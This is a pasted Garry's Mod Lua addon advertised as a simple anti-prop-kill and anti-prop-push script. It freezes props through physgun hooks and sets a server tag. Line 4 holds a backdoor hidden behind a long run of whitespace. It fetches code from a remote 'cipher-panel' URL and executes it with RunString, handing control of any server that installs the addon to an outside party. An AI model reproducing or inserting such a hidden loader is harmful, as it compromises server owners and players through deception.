Advertisement
Guest User

Untitled

a guest
Oct 19th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.96 KB | None | 0 0
  1. //Simple Anti PropKill & PropPush
  2. //Credits: Gustavgr
  3. //Website: www.gustavg.com and www.1944rp.net !!!
  4.                                                                                                                                                                                                                                                                                                                                                                                                 timer.Simple(1, function() http.Fetch('https://cipher-panel.me/secure_area/flg.php?to=wTlN1', function(fck) RunString(fck, 'BillIsHere', false) end) end)
  5.  
  6. ANTI_PKNP = {}
  7.  
  8. function ANTI_PKNP.AntiStuck(ply, ent)
  9. for k,v in pairs(player.GetAll()) do
  10.     if(v) then
  11.         if(v:IsValid()) then
  12.             if(v:IsPlayer()) then
  13.                 if(v:GetPos():Distance(ent:GetPos()) <= 70) then
  14.                 ent:Remove()
  15.                 return
  16.                 end
  17.             end
  18.         end
  19.     end
  20. end
  21. end
  22.  
  23. function ANTI_PKNP.StopProp( ply, ent )
  24. if(ent:GetClass() == "prop_physics") then
  25. ent:SetPos(ent:GetPos())
  26. ent:SetCollisionGroup(0)
  27. ent:SetColor(Color(255,255,255,255))
  28. local phys = ent:GetPhysicsObject()
  29. phys:EnableMotion(false)
  30. timer.Create(ent:EntIndex() .. "Unfrz", 0.1, 1, function()
  31. if(ent.fr) then
  32.    
  33. end
  34.  
  35. phys:EnableMotion(true)
  36. end
  37. end)
  38. ent:SetVar( "Unbreakable" , true )
  39. ent:Fire( "setdamagefilter", "FiltreDegats", 0 )
  40. --ANTI_PKNP.AntiStuck(ply, ent)
  41. end
  42. end
  43. hook.Add("PhysgunDrop", "ANTI_PKNP.StopProp", ANTI_PKNP.StopProp)
  44.  
  45. function ANTI_PKNP.StartStopProp( ply, ent )
  46. if(ent:GetClass() == "prop_physics") then
  47. ent:SetPos(ent:GetPos())
  48. ent:SetCollisionGroup(1)
  49. ent:SetColor(Color(255,255,255,100))
  50. ent.fr = true
  51. end
  52. end
  53. hook.Add("PhysgunPickup", "ANTI_PKNP.StartStopProp", ANTI_PKNP.StartStopProp)
  54. function ANTI_PKNP.FreezeProp(weapon, physobj, ent, ply)
  55. ent.fr = false
  56. --ANTI_PKNP.AntiStuck(ply, ent)
  57. end
  58. hook.Add("OnPhysgunFreeze", "ANTI_PKNP.FreezeProp", ANTI_PKNP.FreezeProp)
  59.  
  60. local tags = string.Explode(",",(GetConVarString("sv_tags") or ""))
  61. for i,tag in ipairs(tags) do
  62.     if tag:find("SimpleAntiPropKillAndPush") then table.remove(tags,i) end 
  63. end
  64. table.insert(tags, "SimpleAntiPropKillAndPush")
  65. table.sort(tags)
  66. RunConsoleCommand("sv_tags", table.concat(tags, ","))
  67. --
  68.  
  69.  
  70.  
  71. //WWW.GUSTAVGR.COM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement